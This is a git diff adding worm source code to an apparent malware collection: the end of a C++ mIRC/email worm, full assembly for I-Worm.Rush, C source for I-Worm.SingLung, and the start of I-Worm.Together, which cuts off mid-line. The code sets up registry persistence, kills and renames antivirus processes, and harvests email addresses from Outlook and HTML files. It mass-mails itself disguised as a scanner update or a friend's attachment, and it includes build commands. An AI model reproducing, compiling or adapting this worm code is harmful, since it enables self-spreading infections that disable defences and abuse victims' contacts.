hKey;+unsigned char mircpth[1024];+char mirc[MAX_PATH];+int i=0;+DWORD mircpthlen=sizeof(mircpth);++//Get the path from our friend: the registry :)+RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\mIRC",0,KEY_QUERY_VALUE,&hKey);+RegQueryValueEx(hKey,"UninstallString",0,NULL,mircpth,&mircpthlen);+RegCloseKey(hKey);+i=1;+while (mircpth[i]!=0 && mircpth[i]!='.') {+ mirc[i-1]=mircpth[i];+ i++;+ }+mirc[i-1]=0;+i=strlen(mirc);+while (mirc[i]!=92) {+ mirc[i]=0;+ i--;+ }+strcat(mirc,"script.ini");+//Write a new script.ini+fstream f(mirc,ios::out);+f<<"[Script]"<<endl;+f<<"n0=ON 1:JOIN:#:{"<<endl;+f<<"n1=/dcc send $nick "<<zippth<<endl;+f<<"n2=}"<<endl;+f<<"n3=on 1:start:{"<<endl;+f<<"n4= /join #piecebypiece"<<endl;+f<<"n5=}"<<endl;+f.close();++}++//--------------------------------------ZIPIT-------------------------------------------------++void zipit(char *file) { //Zips the virus with a random name+HKEY hKey;+unsigned char zip[1024];+char zippath[MAX_PATH],param[MAX_PATH],rnd[6];+int i=0;+DWORD ziplen=sizeof(zip);++//Get the path from the registry+i=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\winzip32.exe",0,KEY_QUERY_VALUE,&hKey);+if (i==ERROR_SUCCESS) { //If WinZip is installed then zip the file+RegQueryValueEx(hKey,"",0,NULL,zip,&ziplen);+RegCloseKey(hKey);+i=0;+while (zip[i]!=0) {+ zippath[i]=zip[i];+ i++;+ }+zippath[i]=0;+//Make a random filename for the .zip file+strcpy(zippth,windir);+strcat(zippth,"\\System\\win32sys");+GetSystemTime(&time);+srand(time.wSecond);+itoa(rand(),rnd,10);+strcat(zippth,rnd);+strcat(zippth,".zip");+//Zip it!+strcpy(param," -a -r ");+strcat(param,zippth);+strcat(param," ");+strcat(param,file);+ShellExecute(hwnd,"open",zippath,param,NULL,SW_HIDE);+} else strcpy(zippth,file); //Else just use the executable file for mIRC++}++//--------------------------------------TIMERPROC---------------------------------------------++VOID CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime) {++if (sending==0) { //Check for a connection if a mail is not under delivery+ conect();+ if (err!=0) { //if the server used encountered an error, try using the hard-coded serv.+ strcpy(server,"smtp.barrysworld.com");+ strcpy(email,"[email protected]");+ strcpy(helo,"barrysworld.com");+ conect();+ }+ if (connected==1) KillTimer(hwnd,tim); //Don't need to check for it again, but keep resident+ }+}++//--------------------------------------PAYLOAD-----------------------------------------------+void payload() { //Every virus MUST have a payload ;)+MessageBox(NULL,"\"Cause nothing ever lasts forever\nWe're like flowers in this vase, together\nYou and me, it's pulling me down\nTearing my down, piece by piece\nAnd you can't see\nThat's it's like a disease\nKilling me now, it's so hard to breathe\"\n\t-Feeder <Piece by Piece>","I-Worm/PiecebyPiece",MB_OK+MB_SYSTEMMODAL);+}++//--------------------------------------------------------------------------------------------+//Main function+//--------------------------------------------------------------------------------------------++int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInst,LPSTR lpCmdLine,int nShowCmd){+WNDCLASSEX wndc;+MSG msg;+HKEY hKey;+unsigned char buf[1024],inf[]="yes";+DWORD buflen=sizeof(buf);+int first=0;++//Create a window+wndc.cbClsExtra = 0;+wndc.cbSize = sizeof(wndc);+wndc.cbWndExtra = 0;+wndc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);+wndc.hCursor = LoadCursor(NULL,IDC_ARROW);+wndc.hIcon = LoadIcon(NULL,IDI_APPLICATION);+wndc.hIconSm = LoadIcon(NULL,IDI_APPLICATION);+wndc.hInstance = hInstance;+wndc.lpfnWndProc = WndProc;+wndc.lpszClassName = "ClassName";+wndc.lpszMenuName = NULL;+wndc.style = CS_HREDRAW|CS_VREDRAW;+RegisterClassEx(&wndc);+hwnd =CreateWindow("ClassName","NEWWIN",WS_POPUPWINDOW,0,0,1024,1024,NULL,NULL,hInstance,NULL);+UpdateWindow(hwnd);+//Hide the window+ShowWindow(hwnd,SW_HIDE);+//Get the filename and disable (if possible) any AVs+GetWindowThreadProcessId(hwnd,&ProcessId);+processes();+GetWindowsDirectory (windir, sizeof (windir)); //Get the Windir+//Check if the comp. was infected before+RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\RedCell",0,KEY_QUERY_VALUE,&hKey);+RegQueryValueEx(hKey,"infected",0,NULL,buf,&buflen);+RegCloseKey(hKey);+if (buf[0]!='y' || buf[1]!='e' || buf[2]!='s')+{+RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\RedCell",&hKey);+//Create a key in the registry to mark the PC as infected+RegSetValueEx(hKey,"infected",0,REG_SZ,inf,sizeof(inf));+RegCloseKey(hKey);+//----INFECT COMPUTER----+infectwin(filename);+kazaa(filename);+zipit(winbkup);+mirc();+base64(filename);+conect();+first=1;+MessageBox(hwnd,"This program has performed an illegal operation","Error",MB_OK+MB_ICONSTOP);+}+base64(filename);+GetSystemTime(&time);+if (time.wDay==15 && time.wMonth==9) payload(); //Activate payload when school starts (15 sept. in Romania)+if (first==0) {+ base64(filename); //Write a "base64" encoded file every time (just in case)+ conect(); //Try to connect+ if (err!=0) { //If the server found in the reg. got an error, try using the hard-coded serv.+ strcpy(server,"smtp.barrysworld.com");+ strcpy(email,"[email protected]");+ strcpy(helo,"barrysworld.com");+ conect();+ }+}+if (connected==0) SetTimer(hwnd,tim,50000,TimerProc); //Go resident and check for a connection every 50 secs.++while(GetMessage(&msg,NULL,0,0)) { //Stuff... ;-)+ TranslateMessage(&msg);+ DispatchMessage(&msg);+}+return msg.wParam;+//end of main()+}++//--------------------------------------WNDPROC----------------------------------------------++LRESULT CALLBACK WndProc(HWND hwnd,UINT iMsg,WPARAM wParam,LPARAM lParam) {+ HDC hdc;+ PAINTSTRUCT ps;++ switch(iMsg){+ case WM_PAINT:+ hdc = BeginPaint(hwnd,&ps);+ EndPaint(hwnd,&ps);+ return 0;+ case WM_DESTROY:+ PostQuitMessage(0);+ return 0;+ }+ return DefWindowProc(hwnd,iMsg,wParam,lParam);+}+//That's all folks! e-mail to: [email protected] , web:diff --git a/Worms/InternetWorm/I-Worm.Pilif.7z b/Worms/InternetWorm/I-Worm.Pilif.7znew file mode 100644index 0000000..19f72a6Binary files /dev/null and b/Worms/InternetWorm/I-Worm.Pilif.7z differdiff --git a/Worms/InternetWorm/I-Worm.Rush.asm b/Worms/InternetWorm/I-Worm.Rush.asmnew file mode 100644index 0000000..4837b5f--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Rush.asm@@ -0,0 +1,498 @@+comment #+Name : I-Worm.Rush+Author : PetiK+Date : August 27th - September 2nd+Size : 5632 byte (compiled with UPX tool)++Action : Copy itself to+ * WINDOWS\SYSTEM\Mail32.exe+ Add in the key HKLM\Software\Microsoft\Windows\CurrentVersion\Run the value+ * Mail Outlook = WINDOWS\SYSTEM\Mail32.exe++ * On Wednesday it opens the cdrom+ * The 3rd it produces a sound+ * the 15th it alters "Search Page", "Start Page", and "Local Page" by+ * Creates %personal%\Read_Me.txt with a text+ * A vbs file search all email in the Oultook software and put them in the Mailbook.txt.+ The worm scans the file to find email.++ Subject : New Scan Virus...+ Body : Hi man,+ I send you the last update of ScanVir (v 2.5).+ Look at the file attached.++ Bye and have a nice day.++ Attached : ScanVir_25.exe++ * Scans title of windows :+ - Norton AntiVirus => Norton Virus : W32.Norton.Worm@mm+ - System Properties => Minimize the window+++To build the worm:+@echo off+tasm32 /ml /m9 Rush+tlink32 -Tpe -c -x -aa Rush,,,import32,dllz+upx -9 Rush.exe+if exist *.obj del *.obj+if exist *.map del *.map++To delete the worm:+del %windir%\system\Mail32.exe+del %personal%\Read_Me.txt+del %windir%\MailBook.txt++#++.586p+.model flat+.code++JUMPS++callx macro a+extrn a:proc+call a+endm++include useful.inc+include myinclude.inc++start:+ ;call hide_worm++twin_worm:+ push 50+ mov esi,offset orig_worm+ push esi+ push 0+ callx GetModuleFileNameA++ mov edi,offset copy_worm+ push edi+ push 50+ push edi+ callx GetSystemDirectoryA+ add edi,eax+ mov eax,"iaM\"+ stosd+ mov eax,".23l"+ stosd+ mov eax,"exe"+ stosd+ pop edi++ push 0+ push edi+ push esi+ callx CopyFileA++ push 8+ push edi+ push 1+ @pushsz "Mail Outlook"+ @pushsz "Software\Microsoft\Windows\CurrentVersion\Run"+ push 80000002h+ callx SHSetValueA++check_date:+ push offset SystemTime+ callx GetSystemTime+ cmp [SystemTime.wDayOfWeek],03h+ jne beep1+cdrom_open:+ push 00h+ push 00h+ push 00h+ @pushsz "open cdaudio"+ callx mciSendStringA+ push 00h+ push 00h+ push 00h+ @pushsz "set cdaudio door open"+ callx mciSendStringA++beep1: push offset SystemTime+ callx GetSystemTime+ cmp [SystemTime.wDay],03h+ jne special_folder+ mov counter,0+beep2: inc counter+ push 30h+ callx MessageBeep+ push 1+ callx Sleep+ cmp counter,5000+ jne beep2++special_folder:+ push 00h+ push 05h+ push offset personal+ push 00h+ callx SHGetSpecialFolderPathA+ @pushsz "\Read_Me.txt"+ push offset personal+ callx lstrcat++txt_file:+ push 00h+ push 01h+ push 02h+ push 00h+ push 01h+ push 40000000h+ push offset personal+ callx CreateFileA+ mov [FileHdl],eax+ push 00h+ push offset octets+ push TXTSIZE+ push offset txtd+ push [FileHdl]+ callx WriteFile+ push [FileHdl]+ callx CloseHandle++vbs_file:+ pushad+ push 00h+ push 80h+ push 02h+ push 00h+ push 01h+ push 40000000h+ @pushsz "C:\rushhour.vbs"+ callx CreateFileA+ xchg edi,eax+ push 00h+ push offset octets+ push VBSSIZE+ push offset vbsd+ push edi+ callx WriteFile+ push edi+ callx CloseHandle+ popad+ push 1+ @pushsz "wscript C:\rushhour.vbs"+ callx WinExec+ push 2000+ callx Sleep+ @pushsz "C:\rushhour.vbs"+ callx DeleteFileA++ push offset SystemTime+ callx GetSystemTime+ cmp [SystemTime.wDay],0Fh+ jne start_scan++ call internet_page++start_scan:+ mov edi,offset mailbook+ push edi+ push 50+ push edi+ callx GetWindowsDirectoryA+ add edi,eax+ mov eax,"iaM\"+ stosd+ mov eax,"ooBl"+ stosd+ mov eax,"xt.k"+ stosd+ mov ax,"t"+ stosd+ xor eax,eax+ stosd++open_scan_file:+ pushad+ push 00h+ push 80h+ push 03h+ push 00h+ push 01h+ push 80000000h+ push offset mailbook+ callx CreateFileA+ inc eax+ je not_exist+ dec eax+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push 2+ push eax+ push ebx+ callx CreateFileMappingA+ test eax,eax+ je F1+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push 4+ push ebp+ callx MapViewOfFile+ test eax,eax+ je F2+ xchg eax,esi++ push 0+ push ebx+ callx GetFileSize+ cmp eax,3+ jbe F3++scan_file:+ xor edx,edx+ mov edi,offset mail_addr+ push edi+ p_c: lodsb+ cmp al," "+ je car_s+ cmp al,0dh+ je entr1+ cmp al,0ah+ je entr2+ cmp al,"#"+ je f_mail+ cmp al,"@"+ jne not_a+ inc edx+ not_a: stosb+ jmp p_c+ car_s: inc esi+ jmp p_c+ entr1: xor al,al+ stosb+ pop edi+ test edx,edx+ je scan_file+ call send_mail+ jmp scan_file+ entr2: xor al,al+ stosb+ pop edi+ jmp scan_file+ f_mail:++ F3: push esi+ callx UnmapViewOfFile+ F2: push ebp+ callx CloseHandle+ F1: push ebx+ callx CloseHandle+ not_exist:+ popad++scan_window:mov counter,0+win1: inc counter+ cmp counter,1000000+ je end_w+ @pushsz "Norton AntiVirus"+ push 00h+ callx FindWindowA+ test eax,eax+ jz win2+ jmp change_nav+win2: @pushsz "System Properties"+ push 00h+ callx FindWindowA+ test eax,eax+ jz win3+ jmp show_window+win3: @pushsz "Microsoft Home Page - Microsoft Internet Explorer"+ push 00h+ callx FindWindowA+ test eax,eax+ jz win1+ jmp display_message+change_nav:+ mov edi,eax+ @pushsz "Norton Virus : W32.Norton.Worm@mm"+ push edi+ callx SetWindowTextA+ jmp win1+show_window:+ mov edi,eax+ push 2+ push edi+ callx ShowWindow+ jmp win1+display_message:+ mov edi,eax+ push 10h+ @pushsz "Microsoft Internet Explorer"+ @pushsz "You don't have access to this page"+ push 00h+ callx MessageBoxA+ push 0+ push edi+ callx ShowWindow+ jmp win1++end_w: push 00h+ callx ExitProcess++hide_worm:+ pushad+ @pushsz "Kernel32.dll"+ callx GetModuleHandleA+ xchg eax,ecx+ jecxz end_hide_worm+ @pushsz "RegisterServiceProcess"+ push ecx+ callx GetProcAddress+ xchg eax,ecx+ jecxz end_hide_worm+ push 1+ push 0+ call ecx+ end_hide_worm:+ popad+ ret++internet_page:+ pushad+ call diff_val+ db "Search Page",0+ db "Start Page",0+ db "Local Page",0+ diff_val:+ pop esi+ push 3+ pop ecx+ page_loop:+ push ecx+ push 32+ @pushsz "http://www.petik.fr.fm"+ push 1+ push esi+ @pushsz "Software\Microsoft\Internet Explorer\Main"+ push 80000001h+ callx SHSetValueA+ @endsz+ pop ecx+ loop page_loop+ popad+ ret++send_mail:+ xor eax,eax+ push eax+ push eax+ push offset Message+ push eax+ push [MAPIHdl]+ callx MAPISendMail+ ret++++.data+; === copy_worm ===+orig_worm db 50 dup (0)+copy_worm db 50 dup (0)++; === beep ===+counter dd ?++; === special_folder ===+personal db 70 dup (0)+octets dd ?+FileHdl dd ?++; === scan email ===+mailbook db 50 dup (0)+mail_addr db 128 dup (?)+MAPIHdl dd 0+name_mail db "ScanVir_25.exe",0+++++subject db "New Scan Virus...",0+body db "Hi man,",0dh,0ah+ db "I send you the last update of ScanVir (v 2.5).",0dh,0ah+ db "Look at the file attached.",0dh,0ah,0dh,0ah+ db 09h,09h,09h,09h,"Bye and have a nice day.",0+namefrom db "Your Best Friend",0++Message dd ?+ dd offset subject+ dd offset body+ dd ?+ dd ?+ dd ?+ dd 2+ dd offset MsgFrom+ dd 1+ dd offset MsgTo+ dd 1+ dd offset Attach++MsgFrom dd ?+ dd namefrom+ dd ?+ dd ?+ dd ?++MsgTo dd ?+ dd 1+ dd offset mail_addr+ dd offset mail_addr+ dd ?+ dd ?++Attach dd ?+ dd ?+ dd ?+ dd offset orig_worm+ dd offset name_mail+ dd ?+++++txtd: db "Hi man,",0dh,0ah,0dh,0ah+ db "I don't want to destroy your computer.",0dh,0ah+ db "But other programs are more dangerous.",0dh,0ah,0dh,0ah,0dh,0ah+ db 09h,09h,09h,"PetiK",00h+TXTSIZE equ $-txtd++vbsd: db 'On Error Resume Next',0dh,0ah+ db 'Set rush=CreateObject("Outlook.Application")',0dh,0ah+ db 'Set chan=rush.GetNameSpace("MAPI")',0dh,0ah+ db 'Set fso=CreateObject("Scripting.FileSystemObject")',0dh,0ah+ db 'Set txt=fso.CreateTextFile(fso.GetSpecialFolder(0)&"\MailBook.txt")',0dh,0ah+ db 'txt.Close',0dh,0ah+ db 'For Each M In chan.AddressLists',0dh,0ah+ db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah+ db 'For O=1 To M.AddressEntries.Count',0dh,0ah+ db 'Set P=M.AddressEntries(O)',0dh,0ah+ db 'Set txt=fso.OpenTextFile(fso.GetSpecialFolder(0)&"\MailBook.txt",8,true)',0dh,0ah+ db 'txt.WriteLine P.Address',0dh,0ah+ db 'txt.Close',0dh,0ah+ db 'Next',0dh,0ah+ db 'End If',0dh,0ah+ db 'Next',0dh,0ah+ db 'Set txt=fso.OpenTextFile(fso.GetSpecialFolder(0)&"\MailBook.txt",8,true)',0dh,0ah+ db 'txt.WriteLine "#"',0dh,0ah+ db 'txt.Close',0dh,0ah+VBSSIZE equ $-vbsd++signature db "I-Worm.Rush",00h+origine db "A worm made in France",00h+author db "Written by PetiK - 2001",00h++end start+end\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.SingLung.c b/Worms/InternetWorm/I-Worm.SingLung.cnew file mode 100644index 0000000..453338c--- /dev/null+++ b/Worms/InternetWorm/I-Worm.SingLung.c@@ -0,0 +1,340 @@+/*+Name : I-Worm.SingLung+Author : PetiK+Date : January 23rd 2002 - January 26th 2002+Language : C++/Win32asm++Greetz to Bumblebee (I-Worm.Plage and I-Worm.Rundll);+*/++#include <stdio.h>+#include <windows.h>+#include <mapi.h>+#include <tlhelp32.h>+#pragma argused+#pragma inline+++char filename[100],sysdir[100],sysdr[100],winhtm[100];+LPSTR Run="Software\\Microsoft\\Windows\\CurrentVersion\\Run",+ SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";+int i;+HANDLE fd,lSnapshot,myproc;+BOOL rProcessFound;+BYTE desktop[50],favoris[50],personal[50],cache[50];+DWORD sizcache=sizeof(desktop),sizfavoris=sizeof(favoris),+ sizpersonal=sizeof(personal),sizdesktop=sizeof(cache);+DWORD type=REG_SZ;+FILE *stopv;++LHANDLE session;+MapiMessage mess;+MapiRecipDesc from;+HINSTANCE hMAPI;++HKEY hReg;+PROCESSENTRY32 uProcess;+SYSTEMTIME systime;+WIN32_FIND_DATA ffile;+HDC dc;++void Welcome();+void StopAV(char *);+void FindFile(char *,char *);+void GetMail(char *,char *);+void sendmail(char *);+void FeedBack();++//ULONG (PASCAL FAR *RegSerPro)(ULONG, ULONG);+ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);+++int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)+{+ /*+ // Worm in RegisterServiceProcess+ HMODULE kern32=GetModuleHandle("KERNEL32.DLL");+ if(kern32) {+ (FARPROC &)RegSerPro=GetProcAddress(kern32,"RegisterServiceProcess");+ if(RegSerPro)+ RegSerPro(NULL,1);+ } */++// Fuck some AntiVirus hahahaha+StopAV("AVP32.EXE"); // AVP+StopAV("AVPCC.EXE"); // AVP+StopAV("AVPM.EXE"); // AVP+StopAV("WFINDV32.EXE"); // Dr. Solomon+StopAV("F-AGNT95.EXE"); // F-Secure+StopAV("NAVAPW32.EXE"); // Norton Antivirus+StopAV("NAVW32.EXE"); // Norton Antivirus+StopAV("NMAIN.EXE"); // Norton Antivirus+StopAV("PAVSCHED.EXE"); // Panda AntiVirus+StopAV("ZONEALARM.EXE"); // ZoneAlarm++GetModuleFileName(hInst,filename,100);+GetSystemDirectory((char *)sysdir,100);++strcpy(sysdr,sysdir);+strcat(sysdr,"\\MSGDI32.EXE");+if((lstrcmp(filename,sysdr))!=0) {+ Welcome();+ }+else+ {+ hMAPI=LoadLibrary("MAPI32.DLL");+ (FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");+ RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);+ RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);+ RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);+ RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);+ RegQueryValueEx(hReg,"Cache",0,&type,cache,&sizcache);+ RegCloseKey(hReg);+ GetWindowsDirectory((char *)winhtm,100);++_asm+{+call @wininet+db "WININET.DLL",0+@wininet:+call LoadLibrary+test eax,eax+jz end_asm+mov ebp,eax+call @inetconnect+db "InternetGetConnectedState",0+@inetconnect:+push ebp+call GetProcAddress+test eax,eax+jz end_wininet+mov edi,eax+verf:+push 0+push Tmp+call edi+dec eax+jnz verf++end_wininet:+push ebp+call FreeLibrary+end_asm:+jmp end_all_asm++Tmp dd 0++end_all_asm:+}++ FindFile(desktop,"*.htm");+ FindFile(favoris,"*.ht*");+ FindFile(personal,"*.ht*");+ FindFile(personal,"*.doc");+ FindFile(winhtm,".ht*");+ FindFile(cache,".ht*");+ FreeLibrary(hMAPI);+ FeedBack();+ }++strcat(sysdir,"\\MsGDI32.exe");+CopyFile(filename,sysdir,FALSE);+RegOpenKeyEx(HKEY_LOCAL_MACHINE,Run,0,KEY_WRITE,&hReg);+RegSetValueEx(hReg,"Microsoft GDI 32 bits",0,REG_SZ,(BYTE *)sysdir,100);+RegCloseKey(hReg);++}++void Welcome()+{+register char fileWel[100],messWel[25],titWel[25];+strcpy(fileWel,filename);+fileWel[0]=0;+for(i=strlen(filename);i>0 && filename[i]!='\\';i--);+wsprintf(titWel,"Error - %s",fileWel+i+1);+wsprintf(messWel,"File - %s - damaged.\nCannot open this file.",fileWel+i+1);+MessageBox(NULL,messWel,titWel,MB_OK|MB_ICONHAND);+}+++void StopAV(char *antivirus)+{+register BOOL term;+lSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);+uProcess.dwSize=sizeof(uProcess);+rProcessFound=Process32First(lSnapshot,&uProcess);+while(rProcessFound) {+ if(strstr(uProcess.szExeFile,antivirus)!=NULL) { // Norton Antivirus+ myproc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,uProcess.th32ProcessID);+ if(myproc!=NULL) {+ term=TerminateProcess(myproc,0);+ }+ CloseHandle(myproc);+ }+ rProcessFound=Process32Next(lSnapshot,&uProcess);+}+CloseHandle(lSnapshot);+}+++void FindFile(char *folder, char *ext)+{+register bool abc=TRUE;+register HANDLE hFile;+char mail[128];+SetCurrentDirectory(folder);+hFile=FindFirstFile(ext,&ffile);+if(hFile!=INVALID_HANDLE_VALUE) {+ while(abc) {+ SetFileAttributes(ffile.cFileName,FILE_ATTRIBUTE_ARCHIVE);+ GetMail(ffile.cFileName,mail);+ if(strlen(mail)>0) {+ WritePrivateProfileString("EMail found",mail,"send","singlung.txt");+ sendmail(mail);+ }+ abc=FindNextFile(hFile,&ffile);+ }+}++}++void GetMail(char *namefile, char *mail)+{+HANDLE hf,hf2;+char *mapped;+DWORD size,i,k;+BOOL test=FALSE,valid=FALSE;+mail[0]=0;++hf=CreateFile(namefile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,0);+if(hf==INVALID_HANDLE_VALUE)+ return;+size=GetFileSize(hf,NULL);+if(!size)+ return;+if(size<8)+ return;+size-=100;++hf2=CreateFileMapping(hf,0,PAGE_READONLY,0,0,0);+if(!hf2) {+ CloseHandle(hf);+ return;+ }++mapped=(char *)MapViewOfFile(hf2,FILE_MAP_READ,0,0,0);+if(!mapped) {+ CloseHandle(hf2);+ CloseHandle(hf);+ return;+ }++i=0;+while(i<size && !test) {+if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {+ test=TRUE;+ i+=strlen("mailto:");+ k=0;+ while(mapped[i]!=34 && mapped[i]!=39 && i<size && k<127) {+ if(mapped[i]!=' ') {+ mail[k]=mapped[i];+ k++;+ if(mapped[i]=='@')+ valid=TRUE;+ }+ i++;+ }+ mail[k]=0;+ } else+ i++;+}++if(!valid)+ mail[0]=0;+UnmapViewOfFile(mapped);+CloseHandle(hf2);+CloseHandle(hf);+return;+}++void sendmail(char *tos)+{+memset(&mess,0,sizeof(MapiMessage));+memset(&from,0,sizeof(MapiRecipDesc));++from.lpszName=NULL;+from.ulRecipClass=MAPI_ORIG;+mess.lpszSubject="Secret for you...";+mess.lpszNoteText="Hi Friend,\n\n"+ "I send you my last work.\n"+ "Mail me if you have some suggests.\n\n"+ " See you soon. Best Regards.";++mess.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));+ if(!mess.lpRecips)+ return;+memset(mess.lpRecips,0,sizeof(MapiRecipDesc));+mess.lpRecips->lpszName=tos;+mess.lpRecips->lpszAddress=tos;+mess.lpRecips->ulRecipClass=MAPI_TO;+mess.nRecipCount=1;++mess.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));+ if(!mess.lpFiles)+ return;+memset(mess.lpFiles,0,sizeof(MapiFileDesc));+mess.lpFiles->lpszPathName=filename;+mess.lpFiles->lpszFileName="My_Work.exe";+mess.nFileCount=1;++mess.lpOriginator=&from;++mSendMail(0,0,&mess,0,0);++free(mess.lpRecips);+free(mess.lpFiles);+}+++void FeedBack()+{+GetSystemTime(&systime);+switch(systime.wDay) {+case 7:+ MessageBox(NULL,"It is not with a B-52 that you will stop terrorist groups.\n"+ "With this, you stop the life of women and children.",+ "Message to USA",MB_OK|MB_ICONHAND);+ break;++case 11:+ dc=GetDC(NULL);+ if(dc)+ {+ TextOut(dc,300,300,"Can we try to stop the conflicts ? YES OF COURSE !",50);+ }+ ReleaseDC(NULL,dc);+ break;++case 28:+ stopv=fopen("StopIntifada.htm","w");+ fprintf(stopv,"<html><head><title>Stop Violence between Palestinians and Israeli</title></head>\n");+ fprintf(stopv,"<body bgcolor=blue text=yellow>\n");+ fprintf(stopv,"<p align=\"center\"><font size=\"5\">HOW TO STOP THE VIOLENCE</font></p><BR>\n");+ fprintf(stopv,"<p align=\"left\"><font size=\"3\">-THE ISRAELIS:</font><BR>\n");+ fprintf(stopv,"<font>To take the israelis tank out of the palestinians autonomous city.</font><BR>\n");+ fprintf(stopv,"<font>Don't bomb civil place after a terrorist bomb attack.</font><BR>\n");+ fprintf(stopv,"<font>To arrest and to kill the leaders of terrorist groups.</font><BR><BR>\n");+ fprintf(stopv,"<font>-THE PALESTINIANS:</font><BR>\n");+ fprintf(stopv,"<font>To stop to provoke the israelis army.</font><BR>\n");+ fprintf(stopv,"<font>To stop the terrorist attacks.</font><BR><BR>\n");+ fprintf(stopv,"<font>-THE BOTH:</font><BR>\n");+ fprintf(stopv,"<font>To try to accept the other people.</font><BR>\n");+ fprintf(stopv,"<font>TO ORGANIZE A MEETING BETWEEN ARIEL SHARON AND YASSER ARAFAT !</font><BR><BR>\n");+ fprintf(stopv,"<font>Thanx to read this.</font></p>\n");+ fprintf(stopv,"</body></html>");+ fclose(stopv);+ ShellExecute(NULL,"open","StopIntifada.htm",NULL,NULL,SW_SHOWMAXIMIZED);++ break;+}+}\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.Together.asm b/Worms/InternetWorm/I-Worm.Together.asmnew file mode 100644index 0000000..6a5e783--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Together.asm@@ -0,0 +1,514 @@+comment #+Name : I-Worm.Together+Author : PetiK+Date : March 10th 2002 - March 15th 2002++#++.586p+.model flat+.code++JUMPS++api macro a+extrn a:proc+call a+endm++PROCESSENTRY32 STRUCT+ dwSize DWORD ?+ cntUsage DWORD ?+ th32ProcessID DWORD ?+ th32DefaultHeapID DWORD ?+ th32ModuleID DWORD ?+ cntThreads DWORD ?+ th32ParentProcessID DWORD ?+ pcPriClassBase DWORD ?+ dwFlags DWORD ?+ szExeFile db 260 dup(?)+PROCESSENTRY32 ENDS++include Useful.inc++start_worm: call hide_worm++twin_worm:+ push 50+ mov esi,offset orig_worm+ push esi+ push 0+ api GetModuleFileNameA ; esi = name of file++ push 50+ push offset verif_worm+ api GetSystemDirectoryA+ @pushsz "\EBASE64.EXE"+ push offset verif_worm+ api lstrcat++ mov edi,offset copy_worm+ push edi+ push 50+ push edi+ api GetSystemDirectoryA+ add edi,eax+ mov eax,"aBe\"+ stosd+ mov eax,"46es"+ stosd+ mov eax,"exe."+ stosd+ pop edi ; edi = %system%\eBase64.exe++ push offset orig_worm+ push offset verif_worm+ api lstrcmp+ test eax,eax+ jz continue_worm++ push 0+ push edi+ push esi+ api CopyFileA ; copy file++ push 20+ push edi+ push 1+ @pushsz "Encode Base64"+ @pushsz "Software\Microsoft\Windows\CurrentVersion\Run"+ push 80000002h+ api SHSetValueA ; regedit++ jmp end_worm++continue_worm:++fuck_antivirus:+ @pushsz "OIFIL400.DLL"+ api LoadLibraryA+ test eax,eax+ jz end_fuck_antivirus++ push 0+ push 2+ api CreateToolhelp32Snapshot++ mov lSnapshot, eax++ inc eax+ jz end_fuck_antivirus++ lea eax,uProcess+ mov [eax.dwSize], SIZE PROCESSENTRY32++ lea eax,uProcess+ push eax+ push lSnapshot+ api Process32First++checkfile:+ test eax, eax+ jz InfExpRetCl+ push ecx++ mov eax,ProcessID+ push offset uProcess+ cmp eax,[uProcess.th32ProcessID]+ je NextFile++ lea ebx,[uProcess.szExeFile]++verif macro verifname,empty+ local name+ ifnb <empty>+ %out too much arguments in macro 'nxt_instr'+ .err+ endif+ call name+ db verifname,0+ name:+ push ebx+ api lstrstr+ test eax,eax+endm++ verif "ARG" ; Norton+ jnz term+ verif "AVP32.EXE" ; AVP+ jnz term+ verif "AVPCC.EXE" ; AVP+ jnz term+ verif "AVPM.EXE" ; AVP+ jnz term+ verif "WFINDV32.EXE"+ jnz term+ verif "F-AGNT95.EXE" ; F-SECURE+ jnz term+ verif "NAVAPW32.EXE" ; Norton+ jnz term+ verif "NAVW32.EXE" ; Norton+ jnz term+ verif "NMAIN.EXE"+ jnz term+ verif "PAVSHED.EXE" ; PandaSoftware+ jnz term+ verif "vshwin32.exe" ; McAfee+ jnz term+ verif "PETIKSHOW.EXE" ; McAfee+ jnz term++ @pushsz "ZONEALARM.EXE"+ push ebx+ api lstrstr+ test eax,eax+ jz NextFile++term: push [uProcess.th32ProcessID]+ push 1+ push 001F0FFFh+ api OpenProcess+ test eax,eax+ jz NextFile+ push 0+ push eax+ api TerminateProcess++ push ebx+ push offset new_name+ api lstrcpy+ mov esi,offset new_name+ push esi+ api lstrlen+ add esi,eax+ sub esi,4+ mov [esi],"ktp."+ lodsd+; mov [esi],"kmz."+; lodsd++ push 0+ push offset new_name+ push ebx+ api CopyFileA+ push ebx+ api DeleteFileA++NextFile:+ push offset uProcess+ push lSnapshot+ api Process32Next+ jmp checkfile++InfExpRetCl:+ push lSnapshot+ api CloseHandle+end_fuck_antivirus:++call Spread_Mirc+call 